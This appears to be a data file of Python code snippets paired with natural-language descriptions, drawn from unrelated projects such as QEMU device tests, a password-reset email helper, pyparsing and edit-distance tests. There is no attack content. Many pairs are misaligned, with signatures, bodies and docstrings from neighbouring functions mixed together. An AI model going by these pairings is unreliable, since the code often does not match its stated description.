'Neil')0.13333333333333333>>> cmp.sim('aluminum', 'Catalan')0.013888888888888888>>> cmp.sim('ATCG', 'TAGC')0.0.. versionadded:: 0.4.0"} {"code": "def test_qdev_hotplug(self):\n qdev = self.create_qdev('vm1')\n\n out = qdev.get_state()\n assert out == -1, \"qdev state is incorrect %s != %s\" % (out, 1)\n\n qdev.set_dirty()\n out = qdev.get_state()\n self.assertEqual(out, 1, \"qdev state is incorrect %s != %s\" % (out, 1))\n\n qdev.set_dirty()\n out = qdev.get_state()\n self.assertEqual(out, 2, \"qdev state is incorrect %s != %s\" % (out, 1))\n\n qdev.set_clean()\n out = qdev.get_state()\n self.assertEqual(out, 1, \"qdev state is incorrect %s != %s\" % (out, 1))\n\n qdev.set_clean()\n out = qdev.get_state()\n self.assertEqual(out, 0, \"qdev state is incorrect %s != %s\" % (out, 1))\n\n qdev.reset_state()\n out = qdev.get_state()\n assert out == -1, \"qdev state is incorrect %s != %s\" % (out, 1)\n\n dev = qdevices.QDevice()\n qdev.insert(dev)\n out = dev.get_aid()\n self.assertEqual(out, '__0', \"incorrect aid %s != %s\" % (out, '__0'))\n\n dev = qdevices.QDevice(None, {'id': 'qid'})\n qdev.insert(dev)\n out = dev.get_aid()\n self.assertEqual(out, 'qid', \"incorrect aid %s != %s\" % (out, 'qid'))\n\n out = qdev.has_option('device')\n self.assertEqual(out, True)\n\n out = qdev.has_option('missing_option')\n self.assertEqual(out, False)\n\n out = qdev.has_device('ide-drive')\n self.assertEqual(out, True)\n\n out = qdev.has_device('missing_device')\n self.assertEqual(out, False)\n\n out = qdev.get_help_text()\n self.assertEqual(out, QEMU_HELP)\n\n self.assertTrue(qdev.has_hmp_cmd('pcie_aer_inject_error'))\n self.assertTrue(qdev.has_hmp_cmd('c'))\n self.assertTrue(qdev.has_hmp_cmd('cont'))\n self.assertFalse(qdev.has_hmp_cmd('off'))\n self.assertFalse(qdev.has_hmp_cmd('\\ndump-guest-memory'))\n self.assertFalse(qdev.has_hmp_cmd('The'))\n\n self.assertTrue(qdev.has_qmp_cmd('device_add'))\n self.assertFalse(qdev.has_qmp_cmd('RAND91'))\n\n bus1 = qdevices.QPCIBus('pci.0', 'pci', 'a_pci0')\n qdev.insert(qdevices.QDevice(params={'id': 'pci0'},\n child_bus=bus1))\n bus2 = qdevices.QPCIBus('pci.1', 'pci', 'a_pci1')\n qdev.insert(qdevices.QDevice(child_bus=bus2))\n bus3 = qdevices.QPCIBus('pci.2', 'pci', 'a_pci2')\n qdev.insert(qdevices.QDevice(child_bus=bus3))\n bus4 = qdevices.QPCIBus('pcie.0', 'pcie', 'a_pcie0')\n qdev.insert(qdevices.QDevice(child_bus=bus4))\n\n out = qdev.get_buses({'type': 'pci'})\n self.assertEqual(len(out), 3, 'get_buses should return 3 buses but '\n 'returned %s instead:\\n%s' % (len(out), out))\n\n out = qdev.get_first_free_bus({'type': 'pci'}, [None, None])\n self.assertEqual(bus3, out)\n\n for _ in xrange(32):\n qdev.insert(qdevices.QDevice(parent_bus={'type': 'pci'}))\n\n out = qdev.get_first_free_bus({'type': 'pci'}, [None, None])\n self.assertEqual(bus2, out)\n\n out = qdev.list_missing_named_buses('pci.', 'pci', 5)\n self.assertEqual(len(out), 2, 'Number of missing named buses is '\n 'incorrect: %s != %s\\n%s' % (len(out), 2, out))\n out = qdev.list_missing_named_buses('pci.', 'abc', 5)\n self.assertEqual(len(out), 5, 'Number of missing named buses is '\n 'incorrect: %s != %s\\n%s' % (len(out), 2, out))\n\n out = qdev.idx_of_next_named_bus('pci.')\n self.assertEqual(out, 3, 'Incorrect idx of next named bus: %s !='\n ' %s' % (out, 3))\n\n dev = qdevices.QDevice(parent_bus={'aobject': 'a_pci0'})\n bus = qdevices.QPCIBus('test1', 'test', 'a_test1')\n dev.add_child_bus(bus)\n bus = qdevices.QPCIBus('test2', 'test', 'a_test2')\n dev.add_child_bus(bus)\n qdev.insert(dev)\n qdev.insert(qdevices.QDevice(parent_bus={'aobject': 'a_test1'}))\n qdev.insert(qdevices.QDevice(parent_bus={'aobject': 'a_test2'}))\n out = dev.get_children()\n assert len(out) == 2, (\"Not all children were listed %d != 2:\\n%s\"\n % (len(out), out))\n\n out = bus.get_device()\n assert out == dev, (\"bus.get_device() returned different device \"\n \"than the one in which it was plugged:\\n\"\n \"%s\\n%s\\n%s\" % (out.str_long(), dev.str_long(),\n qdev.str_long()))\n", "nl": " Test the hotplug/unplug functionality qdev = self.create_qdev('vm1', False, True)devs = qdev.machine_by_params(ParamsDict({'machine_type': 'pc'}))for dev in devs:qdev.insert(dev)monitor = MockHMPMonitor()out = qdev.get_state()assert out == -1, (\"Status after init is not -1\"\" (%s)\" % out)out = len(qdev)assert out == 6, \"Number of devices of this VM is not 5 (%s)\" % outdevs = qdev.images_define_by_variables('disk', '/tmp/a',{'aobject': 'pci.0'},fmt=\"virtio\")dev1, dev2 = devs[0], devs[1]out = dev1.hotplug_hmp()exp = \"drive_add auto id=drive_disk,if=none,file=/tmp/a\"assert out == exp, (\"Hotplug command of drive is incorrect:\\n%s\\n%s\"% (exp, out))# hotplug of drive will return \" OK\" (pass)dev1.hotplug = lambda _monitor: \"OK\"dev1.verify_hotplug = lambda _out, _monitor: Trueout, ver_out = qdev.simple_hotplug(dev1, monitor)assert out == \"OK\", \"Return value of hotplug is not OK (%s)\" % outassert ver_out is True, (\"Return value of hotplug\"\" is not True (%s)\" % ver_out)out = qdev.get_state()assert out == 0, (\"Status after verified hotplug is not 0 (%s)\" % out)# hotplug of virtio-blk-pci will return \"\"out = dev2.hotplug_hmp()exp = \"device_add virtio-blk-pci,id=disk,drive=drive_disk\"assert out == exp, (\"Hotplug command of device is incorrect:\\n%s\\n%s\"% (exp, out))dev2.hotplug = lambda _monitor: \"\"dev2.verify_hotplug = lambda _out, _monitor: \"\"out, ver_out = qdev.simple_hotplug(dev2, monitor)# automatic verification is not supported, hotplug returns the original# monitor message (\"\")assert ver_out == \"\", (\"Return value of hotplug is\"\" not \"\" (%s)\" % ver_out)assert out == \"\", 'Return value of hotplug is not \"\" (%s)' % outout = qdev.get_state()assert out == 1, (\"Status after verified hotplug is not 1 (%s)\" % out)qdev.hotplug_verified()out = qdev.get_state()assert out == 0, (\"Status after verified hotplug is not 0 (%s)\" % out)out = len(qdev)assert out == 8, \"Number of devices of this VM is not 8 (%s)\" % out# Hotplug is expected to pass but monitor reports failuredev3 = qdevices.QDrive('a_dev1')dev3.hotplug = lambda _monitor: (\"could not open disk image /tmp/qqq: \"\"No such file or directory\")out, ver_out = qdev.simple_hotplug(dev3, monitor)exp = \"could not open disk image /tmp/qqq: No such file or directory\"assert out, \"Return value of hotplug is incorrect:\\n%s\\n%s\" % (out,exp)out = qdev.get_state()assert out == 1, (\"Status after failed hotplug is not 1 (%s)\" % out)# device is still in qdev, but is not in qemu, we should remove itqdev.remove(dev3, recursive=False)out = qdev.get_state()assert out == 1, (\"Status after verified hotplug is not 1 (%s)\" % out)qdev.hotplug_verified()out = qdev.get_state()assert out == 0, (\"Status after verified hotplug is not 0 (%s)\" % out)# Hotplug is expected to fail (missing bus XXX)dev4 = qdevices.QBaseDevice(\"bad_dev\", parent_bus={'type': \"XXX\"})dev4.hotplug = lambda _monitor: (\"\")dev4.cmdline = lambda: \"-device bad_device,id=fooBarBaz\"self.assertRaises(qcontainer.DeviceHotplugError, qdev.simple_hotplug,dev4, True)out = qdev.get_state()assert out == 1, \"Status after impossible hotplug is not 0 (%s)\" % out# We should check the DeviceHotplugError.ver_out if it failed, let's# say it did failed so we can set the qdev.set_clean()qdev.set_clean()# Unplug# Unplug used drive (automatic verification not supported)out = dev1.unplug_hmp()exp = \"drive_del drive_disk\"assert out == exp, (\"Hotplug command of device is incorrect:\\n%s\\n%s\"% (exp, out))dev1.unplug = lambda _monitor: \"\"dev1.verify_unplug = lambda _monitor, _out: \"\"out, ver_out = qdev.simple_unplug(dev1, monitor)# I verified, that device was unplugged successfullyqdev.hotplug_verified()out = qdev.get_state()assert out == 0, (\"Status after verified hotplug is not 0 (%s)\" % out)out = len(qdev)assert out == 7, \"Number of devices of this VM is not 7 (%s)\" % out# Removal of drive should also set drive of the disk device to Noneout = dev2.get_param('drive')assert out is None, \"Drive was not removed from disk device\"# pylint: disable=W0212def test_qdev_low_level(self): Test low level functions "} {"code": "def remove_known_device(self, kwargs):\n\n delay = 0\n removed = []\n known_device_names = [n.lower() for n in list(self.known_devices.values())]\n", "nl": "Request all known devices in config to be deleted from monitors.device = kwargs[\"device\"]self.adapi.log(f\"Removing device {device}\", level=\"INFO\")self.adapi.run_in(self.send_mqtt_message,0,topic=f\"{self.monitor_topic}/setup/DELETE STATIC DEVICE\",payload=device,scan_type=\"System\",)# now remove the device from ADentities = list(self.mqtt.get_state(f\"{self.monitor_name}\", copy=False, default={}).keys())device_name = Nonefor entity in entities:if device == self.mqtt.get_state(entity, attribute=\"id\", copy=False):location = self.mqtt.get_state(entity, attribute=\"location\")if location is None:continuenode = location.replace(\" \", \"_\").lower()self.mqtt.remove_entity(entity)if device_name is None:_, domain_device = self.mqtt.split_entity(entity)device_name = domain_device.replace(f\"_{node}\", \"\")# now remove the device from HAentities = list(self.hass.get_state(\"sensor\", copy=False, default={}).keys())for entity in entities:if device == self.hass.get_state(entity, attribute=\"id\", copy=False):# first cancel the handler if it existshandler = self.confidence_handlers.get(entity)if handler is not None:self.hass.cancel_listen_state(handler)self.hass.remove_entity(entity)if device_name is not None:device_entity_id = f\"{self.monitor_name}_{device_name}\"device_state_sensor = f\"{self.user_device_domain}.{device_entity_id}\"if device_entity_id in self.home_state_entities:del self.home_state_entities[device_entity_id]if device_state_sensor in self.all_users_sensors:self.all_users_sensors.remove(device_state_sensor)# now remove for HAself.hass.remove_entity(device_state_sensor)# now remove for ADself.mqtt.remove_entity(device_state_sensor)def clean_devices(self, kwargs):Used to check for old devices, and remove them accordingly"} {"code": "def _terminate_and_flush_journal(self):\n\n This leaves out binding related tests for the bindings fixtures below.\n \"\"\"", "nl": "Override base method so we dont actually terminate the journal.TestingTestRunner.terminate_calls += 1class TestRunnerTest(BaseTestCase):A Test fixture used to test the TestRunner."} {"code": "def generate(request, user):\n serializer = request.registry.password_reset_serializer\n code = serializer.dumps(user.username)\n context = {\n \"username\": user.username,\n \"reset_code\": code,\n \"reset_link\": request.route_url(\"account_reset_with_code\", code=code),\n }\n\n subject = _(\"Reset your password\")\n\n text = render(\n \"h:templates/emails/reset_password.txt.jinja2\", context, request=request\n )\n html = render(\n \"h:templates/emails/reset_password.html.jinja2\", context, request=request\n )\n\n return [user.email], subject, text, html", "nl": "Generate an email for a user password reset request.:param request: the current request:type request: pyramid.request.Request:param user: the user to whom to send the reset code:type user: h.models.User:returns: a 4-element tuple containing: recipients, subject, text, html"} {"code": "def __init__(self, test_case):\n nova_api = NovaApi([\"ORD\", \"MIMIC\"])\n self.api_helper = APIMockHelper(\n test_case, [nova_api, NovaControlApi(nova_api=nova_api)])\n self.root = self.api_helper.root\n\n self.behavior_api_endpoint = \"{0}/behaviors/creation\".format(\n self.api_helper.get_service_endpoint(\"cloudServersBehavior\"))\n", "nl": "Set up the criteria, api mock, etc."} {"code": "def getNextHolidayTime(self, currTime):\n sCurrYear = time.localtime()[0]\n eCurrYear = sCurrYear\n\n for i in xrange(len(self.tupleList)):\n sMonth = self.currElemIter.current()[0][0]\n nMonth = self.currElemIter.peekNext()[0][0]\n\n startTuple, endTuple = self.currElemIter.peekNext()\n if endTuple[0] < startTuple[0]:\n eCurrYear += 1\n\n if sMonth > nMonth:\n\n cMonth = time.localtime()[0]\n if cMonth > nMonth:\n sTime = self.getTime((sCurrYear+1,), startTuple)\n eTime = self.getTime((eCurrYear+1,), endTuple)\n else:\n sTime = self.getTime((sCurrYear,), startTuple)\n eTime = self.getTime((eCurrYear,), endTuple)\n elif sMonth == nMonth:\n sDay = self.currElemIter.current()[0][1]\n nDay = self.currElemIter.peekNext()[0][1]\n\n if sDay > nDay:\n sTime = self.getTime((sCurrYear+1,), startTuple)\n eTime = self.getTime((eCurrYear+1,), endTuple)\n elif sDay == nDay:\n curr = self.currElemIter.current()[0]\n\n time1 = (curr[2], curr[3], curr[4])\n time2 = (startTuple[2], startTuple[3], startTuple[4])\n\n if time1 > time2:\n sTime = self.getTime((sCurrYear+1,), startTuple)\n eTime = self.getTime((eCurrYear+1,), endTuple)\n else:\n sTime = self.getTime((sCurrYear,), startTuple)\n eTime = self.getTime((eCurrYear,), endTuple)\n else:\n sTime = self.getTime((sCurrYear,), startTuple)\n eTime = self.getTime((eCurrYear,), endTuple)\n else:\n sTime = self.getTime((sCurrYear,), startTuple)\n eTime = self.getTime((eCurrYear,), endTuple)\n\n self.currElemIter.next()\n if (currTime < eTime):\n return sTime\n\n start = self.currElemIter.current()[0]\n return self.getTime((sCurrYear+1,), start)\n", "nl": "Purpose: This method finds the next appropriate time tostart this holiday. It searches through the listof time tuples, and performs the necessarycomputations for finding the time.Input: currTime - current timeOutput: returns the next start time of the holiday"} {"code": "def test_phonetic_edit_distance_dist_abs(self):\n self.assertEqual(self.ped.alignment('', ''), (0.0, '', ''))\n self.assertEqual(self.ped.alignment('a', ''), (1.0, 'a', '-'))\n self.assertEqual(self.ped.alignment('', 'a'), (1.0, '-', 'a'))\n self.assertEqual(self.ped.alignment('abc', ''), (3.0, 'abc', '---'))\n self.assertEqual(self.ped.alignment('', 'abc'), (3.0, '---', 'abc'))\n self.assertEqual(self.ped.alignment('abc', 'abc'), (0.0, 'abc', 'abc'))\n self.assertEqual(\n self.ped.alignment('abcd', 'efgh'),\n (0.4193548387096774, 'abcd', 'efgh'),\n )\n\n self.assertEqual(\n self.ped.alignment('Nigel', 'Niall'),\n (0.8870967741935485, 'Nigel', 'Niall'),\n )\n self.assertEqual(\n self.ped.alignment('Niall', 'Nigel'),\n (0.8870967741935485, 'Niall', 'Nigel'),\n )\n self.assertEqual(\n self.ped.alignment('Colin', 'Coiln'),\n (0.870967741935484, 'Colin', 'Coiln'),\n )\n self.assertEqual(\n self.ped.alignment('Coiln', 'Colin'),\n (0.870967741935484, 'Coiln', 'Colin'),\n )\n self.assertEqual(\n PhoneticEditDistance(mode='osa').alignment('Niel', 'Neil'),\n (0.06451612903225801, 'Niel', 'Neil'),\n )\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "Test abydos.distance.PhoneticEditDistance.dist_abs.# Base casesself.assertEqual(self.ped.dist_abs('', ''), 0)self.assertEqual(self.ped.dist_abs('a', ''), 1)self.assertEqual(self.ped.dist_abs('', 'a'), 1)self.assertEqual(self.ped.dist_abs('abc', ''), 3)self.assertEqual(self.ped.dist_abs('', 'abc'), 3)self.assertEqual(self.ped.dist_abs('abc', 'abc'), 0)self.assertEqual(self.ped.dist_abs('abcd', 'efgh'), 0.4193548387096774)self.assertAlmostEqual(self.ped.dist_abs('Nigel', 'Niall'), 0.8870967741935485)self.assertAlmostEqual(self.ped.dist_abs('Niall', 'Nigel'), 0.8870967741935485)self.assertAlmostEqual(self.ped.dist_abs('Colin', 'Coiln'), 0.870967741935484)self.assertAlmostEqual(self.ped.dist_abs('Coiln', 'Colin'), 0.870967741935484)self.assertAlmostEqual(self.ped.dist_abs('ATCAACGAGT', 'AACGATTAG'), 2.370967741935484)self.assertEqual(PhoneticEditDistance(weights={'syllabic': 1.0}).dist_abs('Nigel', 'Niall'),0.0,)self.assertAlmostEqual(PhoneticEditDistance(weights=(1, 1, 1)).dist_abs('Nigel', 'Niall'),0.33333333333333326,)self.assertAlmostEqual(PhoneticEditDistance(mode='osa').dist_abs('Niel', 'Neil'),0.06451612903225801,)def test_phonetic_edit_distance_alignment(self):Test abydos.distance.PhoneticEditDistance.alignment."} {"code": "def run(self, options=None):\n self.logger.debug(\"module.Module.run()\")\n\n envlist = {}\n for x in (\"PATH\",\n \"EC2RL_WORKDIR\",\n \"EC2RL_RUNDIR\",\n \"EC2RL_LOGDIR\",\n \"EC2RL_GATHEREDDIR\",\n \"EC2RL_DISTRO\",\n \"EC2RL_NET_DRIVER\",\n \"EC2RL_VIRT_TYPE\",\n \"EC2RL_SUDO\",\n \"EC2RL_PERFIMPACT\",\n \"EC2RL_CALLPATH\"):\n envlist[x] = os.environ[x]\n\n envlist[\"PYTHONPATH\"] = os.environ[\"EC2RL_LIBDIR\"]\n\n if options and options.global_args:\n for option, optionvalue in options.global_args.items():\n if type(optionvalue) != str:\n optionvalue = str(optionvalue)\n envlist[option] = optionvalue\n\n if options and options.per_module_args:\n self.logger.debug(\"Found options.per_module_args\")\n if self.name in options.per_module_args:\n self.logger.debug(\"..Found {} in options.per_module_args\".format(self.name))\n for option in options.per_module_args[self.name]:\n optionvalue = options.per_module_args[self.name][option]\n self.logger.debug(\"....Found option:value option {}:{}\".format(option, optionvalue))\n if type(optionvalue) != str:\n optionvalue = str(optionvalue)\n envlist[option] = optionvalue\n\n if self.language == \"binary\":\n command = [os.path.join(envlist[\"EC2RL_CALLPATH\"],\n \"bin\",\n self.placement_dir_mapping[self.placement],\n self.name)]\n else:\n module_file = tempfile.NamedTemporaryFile()\n try:\n module_file.write(bytes(self.content, \"utf8\"))\n except TypeError:\n module_file.write(bytes(self.content))\n\n module_file.flush()\n\n if self.language == \"bash\":\n command = [\"/bin/bash\", module_file.name]\n elif self.language == \"python\":\n command = [sys.executable, module_file.name]\n else:\n module_file.close()\n raise ModuleUnsupportedLanguageError(self.name, self.language)\n\n self.logger.info(\"command = {}\".format(command))\n\n try:", "nl": "Run the module using the subprocess module and check that it successfully ran.Parameters:options: parsed command line argument:value pairsReturns:(str): output from module run subprocess.check_output"} {"code": "def getAccount(self, pub):\n name = self.getAccountFromPublicKey(pub)\n if not name:\n return {\"name\": None,\n \"type\": None,\n \"pubkey\": pub\n }\n else:\n try:\n account = Account(name)\n except:\n return\n keyType = self.getKeyType(account, pub)\n return {\"name\": account[\"name\"],\n \"account\": account,\n \"type\": keyType,\n \"pubkey\": pub\n }\n", "nl": " Get the account data for a public key"} {"code": "def resetPrompt(self):\n raise NotImplementedError()", "nl": " Not yet implemented raise NotImplementedError()def hasPrompt(self): Not yet implemented "} {"code": "def set(self, value):\n\n if not isinstance(value, int_types):\n raise TypeError(unwrap(\n '''\n type_name(self),\n type_name(value)\n ))\n\n self._native = value\n self.contents = b'\\x00' + int_to_bytes(value, signed=True)\n self._header = None", "nl": "Sets the value of the object:param value:An integer:raises:ValueError - when an invalid value is passed"} {"code": "def send(self, data):\n\n Assumes that the line does *not* end with \\r\\n.\n \"\"\"", "nl": "Send `data' to the server.if self.sock is None:if self.auto_open:self.connect()else:raise NotConnected()if self.debuglevel > 0:print 'send:', repr(data)blocksize = 8192if hasattr(data, 'read') and not isinstance(data, array):if self.debuglevel > 0:print 'sendIng a read()able'datablock = data.read(blocksize)while datablock:self.sock.sendall(datablock)datablock = data.read(blocksize)else:self.sock.sendall(data)returndef _output(self, s):rAdd a line of output to the current request buffer."} {"code": "def __init__(self, arg=None, lineno=None, col_offset=None, parent=None):\n self.arg = arg\n \"\"\"The argument being assigned to.\n\n super(Keyword, self).__init__(lineno, col_offset, parent)\n", "nl": ":param arg: The argument being assigned to.:type arg: Name or None:param lineno: The line that this node appears on in the source code.:type lineno: int or None:param col_offset: The column that this node appears on in thesource code.:type col_offset: int or None:param parent: The parent node in the syntax tree.:type parent: NodeNG or None"} {"code": "def _get_predictions(self, logits: torch.Tensor) -> list[dict]:\n\n raise NotImplementedError()\n", "nl": "Get the predicted ids given the model's output logits.Parameters:----------logits: torch.TensorModel's output tensors of shape (BATCH_SIZE, TIMESTEPS, TOKEN_SET_SIZE)Returns:----------list[dict]: prediction list of size BATCH_SIZE with format:[{\"ids\": list,\"start_timesteps\": list,\"end_timesteps\": list,}, ...]"} {"code": "def spnasnet_100(pretrained=False, **kwargs):\n model = _gen_efficientnet(\n 'efficientnet_b0', channel_multiplier=1.0, depth_multiplier=1.0, pretrained=pretrained, **kwargs)\n return model\n\n\n@register_model", "nl": " Single-Path NAS Pixel1model = _gen_spnasnet('spnasnet_100', 1.0, pretrained=pretrained, **kwargs)return model@register_modeldef efficientnet_b0(pretrained=False, **kwargs): EfficientNet-B0 "} {"code": "def exists(self, item):\n return self.tk.getboolean(self.tk.call(self._w, \"exists\", item))\n\n", "nl": "Returns True if the specified item is present in the tree,False otherwise."} {"code": "def __init__(self, backend, request=None, user_id=None):\n logged_in = False\n staff = False\n", "nl": " Supply `request` or `logged_in_user_id` in order to record a fact. self._backend = backendself._experiments = Noneself._request = requestself._user_id = user_iddef _fetch(self):if self._experiments is None:self.update()def update(self):self._experiments = self._backend.get_experiments()def is_in(self, experiment_name, branch_name=\"experimental\"):experiment, branch = get_experiment_and_branch_by_name(experiment_name, branch_name)return self.get(experiment) == branchdef get(self, experiment, *args, **kwargs):if isinstance(experiment, str):exp_obj = Experiments.by_name.get(experiment)if not exp_obj:raise ValueError(\"Invalid experiment name (%s)\" % experiment)return self._get(exp_obj, *args, **kwargs).nameelse:return self._get(experiment, *args, **kwargs)def _get(self, experiment, no_roll=False):self._fetch()default = False if no_roll else experiment.default_branchif (experiment.logged_in_only and not self._backend.logged_in orexperiment.logged_out_only and self._backend.logged_in):return defaultif self._request:force = self._request.session.get('force', {})branch_name = force.get(experiment.name)if branch_name:return experiment.branches[branch_name]if self._backend.staff:return False if no_roll else experiment.staff_branchif (self._backend.key % 100) + 1 > experiment.rollout:return defaultif experiment.name not in self._experiments:if no_roll:return Falseelse:branch = Services.experiment_placer.roll(experiment)self.add(experiment, branch)return experiment.branches[self._experiments[experiment.name]]def add(self, experiment, branch):self._backend.add(experiment, branch)self.update()self._record_add(experiment, branch)def _record_add(self, experiment, branch):identifier = self._requestif not identifier and self._user_id:from apps.canvas_auth.models import Useridentifier = User.objects.get(id=self._user_id)if identifier:from canvas import factfact.record('experiment_add', identifier, {'experiment': experiment.name,'branch': branch.name,})def get_all_current_branches(self):for experiment in Experiments.all:branch = self._get(experiment, no_roll=True)if branch:yield experiment, branchclass SessionExperimentsBackend(object): An A/B experiments wrapper that uses the request session to store experiments membership info. "} {"code": "def fpn_mode(self, fpn_mode):\n\n if fpn_mode == 'fpn':\n fpn_func = fpn_p2top6.NeckFPN(self.cfgs)\n elif fpn_mode == 'scrdet':\n fpn_func = scrdet_neck.NeckSCRDet(self.cfgs)\n else:\n raise Exception('only support [fpn, scrdet]')\n return fpn_func\n", "nl": ":param fpn_mode: 0-bifpn, 1-fpn:return:"} {"code": "def test_delete_with_age(self):\n condition.\"\"\"\n", "nl": "Test generation of a config for deletion with age condition.config = storage.generate_life_cycle_config('Delete', age=7)expected_config = {'rule': [{'action': {'type': 'Delete',},'condition': {'age': 7,},}],}self.assertEqual(config, expected_config)def test_delete_with_age_and_new_versions(self):Test generation of a config for deletion with age and numNewerVersions"} {"code": "def open(name):", "nl": "Create PWM object from text descriptor filefilename = pwm_parse(name)infile = open(filename,'r')state = ''mat = []for line in infile:if '#up' in line:state = 'up'elif '#down' in line:state = 'down'elif '#mat' in line:state = 'mat'elif '#nucleotides' in line:state = 'nucleotides'elif state == 'up':up = int(line.strip('\\n'))elif state == 'down':down = int(line.strip('\\n'))elif state == 'nucleotides':nucleotides = line.strip('\\n').split()elif state == 'mat':mat.append(map(float,line.strip('\\n').split('\\t')))infile.close()try:new = PWM(np.array(mat), up, down, nucleotides)except NameError:raise Exception(\"PWM decriptor file appeas to be missing some\\needed components\")return newclass InsertionBiasTrack(Track):Class for getting and storing insertion bias"} {"code": "def test_delete_action(admin_client, mocker, article):\n Make sure that customization does not break the app.\n \"\"\"", "nl": "Test delete action.from inline_actions.actions import DeleteActionmocker.spy(DeleteAction, 'delete_action')author = article.author# mock delete_permissionauthor_url = reverse('admin:blog_author_change', args=(author.pk,))changeview = admin_client.get(author_url)# execute and test delete actioninput_name = ('_action__articleinline__inline__delete_action__blog__article__{}'.format(article.pk,))response = changeview.form.submit(name=input_name).follow()assert DeleteAction.delete_action.call_count == 1assert response.request.path == author_urlwith pytest.raises(Article.DoesNotExist):Article.objects.get(pk=article.pk)def test_skip_rendering_actions_for_unsaved_objects(admin_client, mocker, article):from test_proj.blog.admin import ArticleAdminunsaved_article = Article()admin = ArticleAdmin(unsaved_article, admin_site)assert admin.render_inline_actions(unsaved_article) == ''@pytest.mark.django_dbdef test_missing_render_inline_actions_from_readonly_fields(rf, admin_user, admin_site, article):"} {"code": "def NetFxSDKLibraries(self):\n if self.vc_ver < 14.0 or not self.si.NetFxSdkDir:\n return []\n\n arch_subdir = self.pi.target_dir(x64=True)\n return [os.path.join(self.si.NetFxSdkDir, r'lib\\um%s' % arch_subdir)]\n\n @property", "nl": "Microsoft .Net Framework SDK Libraries"} {"code": "def coerce(cls, key, value):\n\n The :class:`.MutableList` object implements a list that will\n emit change events to the underlying mapping when the contents of\n the list are altered, including when values are added or removed.\n\n Note that :class:`.MutableList` does **not** apply mutable tracking to the\n *values themselves* inside the list. Therefore it is not a sufficient\n solution for the use case of tracking deep changes to a *recursive*\n mutable structure, such as a JSON structure. To support this use case,\n build a subclass of :class:`.MutableList` that provides appropriate\n coercion to the values placed in the dictionary so that they too are\n \"mutable\", and emit events up to their parent structure.\n\n .. versionadded:: 1.1\n\n .. seealso::\n\n :class:`.MutableDict`\n\n :class:`.MutableSet`\n\n \"\"\"", "nl": "Convert plain dictionary to instance of this class.if not isinstance(value, cls):if isinstance(value, dict):return cls(value)return Mutable.coerce(key, value)else:return valuedef __getstate__(self):return dict(self)def __setstate__(self, state):self.update(state)class MutableList(Mutable, list):A list type that implements :class:`.Mutable`."} {"code": "def format(self, value):\n", "nl": "Format the valuereturn fields.String.format(self, escape(value))class LocalizedString(fields.String):Custom LocalizedString to return localized strings"} {"code": "def forward(self, U, x1, x2, x3, o1, o2, qmask):\n\n g_hist = torch.zeros(0).type(U.type())\n q_ = torch.zeros(qmask.size()[1], qmask.size()[2], self.D_p).type(U.type())\n r_ = torch.zeros(qmask.size()[1], qmask.size()[2], self.D_r).type(U.type())\n i_ = torch.zeros(qmask.size()[1], qmask.size()[2], self.D_i).type(U.type())\n\n e_ = torch.zeros(0).type(U.type())\n e = e_\n\n alpha = []\n for u_, x1_, x2_, x3_, o1_, o2_, qmask_ in zip(U, x1, x2, x3, o1, o2, qmask):\n g_, q_, r_, i_, e_, alpha_ = self.dialogue_cell(u_, x1_, x2_, x3_, o1_, o2_,\n qmask_, g_hist, q_, r_, i_, e_)\n\n g_hist = torch.cat([g_hist, g_.unsqueeze(0)],0)\n e = torch.cat([e, e_.unsqueeze(0)],0)\n\n if type(alpha_)!=type(None):\n alpha.append(alpha_[:,0,:])\n\n return e, alpha\n\n\nclass CommonsenseGRUModel(nn.Module):\n", "nl": "U -> seq_len, batch, D_mx1, x2, x3, o1, o2 -> seq_len, batch, D_sqmask -> seq_len, batch, party"} {"code": "def replaceHTMLEntity(t):\nquoted strings, separated by commas.\n\nThis expression is deprecated in favor of :class:`pyparsing_common.comma_separated_list`.\n\"\"\"\n jump-starting parser development:\n\n - numeric forms (:class:`integers`, :class:`reals`,\n :class:`scientific notation`)\n - common :class:`programming identifiers`\n - network addresses (:class:`MAC`,\n :class:`IPv4`, :class:`IPv6`)\n - ISO8601 :class:`dates` and\n :class:`datetime`\n - :class:`UUID`\n - :class:`comma-separated list`\n\n Parse actions:\n\n - :class:`convertToInteger`\n - :class:`convertToFloat`\n - :class:`convertToDate`\n - :class:`convertToDatetime`\n - :class:`stripHTMLTags`\n - :class:`upcaseTokens`\n - :class:`downcaseTokens`\n\n Example::\n\n pyparsing_common.number.runTests('''\n\n pyparsing_common.fnumber.runTests('''\n\n pyparsing_common.hex_integer.runTests('''\n\n pyparsing_common.fraction.runTests('''\n\n pyparsing_common.mixed_integer.runTests('''\n\n import uuid\n pyparsing_common.uuid.setParseAction(tokenMap(uuid.UUID))\n pyparsing_common.uuid.runTests('''\n\n prints::\n\n 100\n [100]\n\n -100\n [-100]\n\n +100\n [100]\n\n 3.14159\n [3.14159]\n\n 6.02e23\n [6.02e+23]\n\n 1e-12\n [1e-12]\n\n 100\n [100.0]\n\n -100\n [-100.0]\n\n +100\n [100.0]\n\n 3.14159\n [3.14159]\n\n 6.02e23\n [6.02e+23]\n\n 1e-12\n [1e-12]\n\n 100\n [256]\n\n FF\n [255]\n\n 1/2\n [0.5]\n\n -3/4\n [-0.75]\n\n 1\n [1]\n\n 1/2\n [0.5]\n\n -3/4\n [-0.75]\n\n 1-3/4\n [1.75]\n\n 12345678-1234-5678-1234-567812345678\n [UUID('12345678-1234-5678-1234-567812345678')]\n \"\"\"\n Parse action for converting parsed integers to Python int\n \"\"\"\n Parse action for converting parsed numbers to Python float\n \"\"\"\n\n hex_integer = Word(hexnums).setName(\"hex integer\").setParseAction(tokenMap(int, 16))\n \"\"\"expression that parses a hexadecimal integer, returns an int\"\"\"\n\n fraction = (signed_integer().setParseAction(convertToFloat) + '/' + signed_integer().setParseAction(convertToFloat)).setName(\"fraction\")\n \"\"\"fractional expression of an integer divided by an integer, returns a float\"\"\"\n mixed_integer.addParseAction(sum)\n\n real = Regex(r'[+-]?(?:\\d+\\.\\d*|\\.\\d+)').setName(\"real number\").setParseAction(convertToFloat)\n \"\"\"expression that parses a floating point number and returns a float\"\"\"\n scientific notation and returns a float\"\"\"\n\n fnumber = Regex(r'[+-]?\\d+\\.?\\d*([eE][+-]?\\d+)?').setName(\"fnumber\").setParseAction(convertToFloat)\n \"\"\"any int or real number, returned as float\"\"\"\n\n ipv4_address = Regex(r'(25[0-5]|2[0-4][0-9]|1?[0-9]{1,2})(\\.(25[0-5]|2[0-4][0-9]|1?[0-9]{1,2})){3}').setName(\"IPv4 address\")\n \"IPv4 address (``0.0.0.0 - 